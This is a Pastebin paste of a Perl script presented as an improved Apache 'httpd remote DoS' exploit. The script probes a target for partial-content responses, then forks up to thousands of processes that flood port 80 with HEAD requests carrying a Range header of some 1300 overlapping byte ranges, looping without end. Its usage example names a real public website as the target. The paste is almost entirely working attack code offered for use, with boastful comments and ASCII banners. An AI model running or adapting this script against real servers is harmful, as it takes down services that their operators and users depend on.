Advertisement
1337ings

[Perl] HTTPD Remote DoS

Aug 2nd, 2016
593
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.65 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. #I've re-wrote the apache httpd remote dos exploit into perl
  3. #It's the best version you'll ever find of "HRD"
  4. #I've made the python version but i don't know about releasing it just yet
  5. #Whoever made the first version was slightly off skilled on their perl
  6. #courses, but thank you to me for the fixed, faster & better version
  7. #of apache httpd remote dos.
  8. #############################
  9. # C O M M A N D | U S A G E #
  10. #############################
  11. #Usage: perl hdr.pl TARGET FORK
  12. #Example: perl hdr.pl www.google.com 50
  13. #[50] = FORKS (50-90000000)
  14. #[www.google.com] = TARGET
  15. #############################
  16.  
  17.  #     #                          
  18.  #     # ##### ##### #####  #####  
  19.  #     #   #     #   #    # #    #
  20.  #######   #     #   #    # #    #
  21.  #     #   #     #   #####  #    #
  22.  #     #   #     #   #      #    #
  23.  #     #   #     #   #      #####
  24.  
  25.   ######                                    
  26.  #     # ###### #    #  ####  ##### ######
  27.  #     # #      ##  ## #    #   #   #      
  28.  ######  #####  # ## # #    #   #   #####  
  29.  #   #   #      #    # #    #   #   #      
  30.  #    #  #      #    # #    #   #   #      
  31.  #     # ###### #    #  ####    #   ######
  32.  
  33.   ######          #####  
  34.  #     #  ####  #     #
  35.  #     # #    # #      
  36.  #     # #    #  #####  
  37.  #     # #    #       #
  38.  #     # #    # #     #
  39.  ######   ####   #####  
  40.  
  41. use IO::Socket;
  42. use Parallel::ForkManager;
  43.     print "_  _ ___ ___ ___  ____ \n";
  44.     print "|__|  |   |  |__] |   ) \n";
  45.     print "|  |  |   |  |    |__/ \n";
  46.     print "____ ____  __   ___ ___ ____ \n";
  47.     print "|__/|___  |)(| |  |  |  |___ \n";
  48.     print "|  )|___  |  | |__|  |  |___ \n";            
  49.     print " __    __   ___ \n";
  50.     print "|  )  |  | |___  \n";
  51.     print "|__/  |__|  ___| \n";
  52.     print "Testing apache parameters... Please wait\n";
  53. sub usage {
  54.     print "perl hdr.pl TARGET FORKS\n";
  55.     print "Example: perl hdr.pl www.google.com 50\n";
  56.     print "[50] = FORKS\n";
  57.     print "[www.google.com] = TARGET\n";
  58. }
  59.     print "     \033[2J";
  60. sub remotedos {
  61. print "ATTACKING $ARGV[0] [using $numforks forks]\n";
  62.  
  63. $pm = new Parallel::ForkManager($numforks);
  64.  
  65. $|=1;
  66. srand(time());
  67. $p = "";
  68. for ($k=0;$k<1300;$k++) {
  69.     $p .= ",5-$k";
  70. }
  71.  
  72. for ($k=0;$k<$numforks;$k++) {
  73. my $pid = $pm->start and next;  
  74.  
  75. $x = "";
  76. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  77.              PeerPort => "80",
  78.              Proto    => 'tcp');
  79.  
  80. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  81. print $sock $p;
  82.  
  83. while(<$sock>) {
  84. }
  85. $pm->finish;
  86. }
  87. $pm->wait_all_children;
  88. }
  89.  
  90. sub hrd {
  91. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  92.              PeerPort => "80",
  93.              Proto    => 'tcp');
  94.  
  95. $x = <$sock>;
  96. if ($x =~ /Partial/) {
  97.     print "_  _ ___ ___ ___  ____ \n";
  98.     print "|__|  |   |  |__] |   ) \n";
  99.     print "|  |  |   |  |    |__/ \n";
  100.     print "____ ____  __   ___ ___ ____ \n";
  101.     print "|__/|___  |)(| |  |  |  |___ \n";
  102.     print "|  )|___  |  | |__|  |  |___ \n";            
  103.     print " __    __   ___ \n";
  104.     print "|  )  |  | |___  \n";
  105.     print "|__/  |__|  ___| \n";
  106.     print "Target is vulnerable!\n";
  107.     return 1;  
  108. } else {
  109.     return 0;  
  110. }
  111. }
  112.  
  113. if ($#ARGV < 0) {
  114.     usage;
  115.     exit;  
  116. }
  117.  
  118. if ($#ARGV > 1) {
  119.     $numforks = $ARGV[1];
  120. } else {$numforks = 50;}
  121.  
  122. $v = hrd();
  123. if ($v == 0) {
  124.     print " ,;:::::::::::::::::;,     /  /     DOOOO\n";
  125.     print "     ,::::::;::::::;;;;::::;,   /  /        DOOO\n";
  126.     print "    ;:::::::::::::::;;;::::: ,#/  /          DOOO\n";
  127.     print "    :`:::::::`;::::::;;::: ;::#  /            DOOO\n";
  128.     print "    :::::::::::;::::::::::::::# /              DOO\n";
  129.     print "    `:`:::::::`;:::::: ;::::::#/               DOO\n";
  130.     print "     ::::::::::::;; ;:::::::::##                OO\n";
  131.     print "     ::::`:::::::`;::::::::;:::#                OO\n";
  132.     print "     ::::::::::::::::::;'`:;:::#                O\n";
  133.     print "      `:::::`::::::::;' /  / `:#\n";
  134.     print "       ::::::`:::::;'  /  /    #\n";
  135.     print "_  _ ___ ___ ___  ____            \n";
  136.     print "|__|  |   |  |__] |   ) \n";
  137.     print "|  |  |   |  |    |__/ \n";
  138.     print "____ ____  __   ___ ___ ____ \n";
  139.     print "|__/|___  |)(| |  |  |  |___ \n";
  140.     print "|  )|___  |  | |__|  |  |___ \n";            
  141.     print " __    __   ___ \n";
  142.     print "|  )  |  | |___  \n";
  143.     print "|__/  |__|  ___| \n";
  144.     print "____________________________________________________\n";
  145.     print "Host does not seem vulnerable to httpd remote DoS!\n";
  146.     print "Please try a target vulnerable to httpd remote DoS!\n";
  147.                
  148.                              
  149.     exit;  
  150. }
  151. while(1) {
  152. remotedos();
  153. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement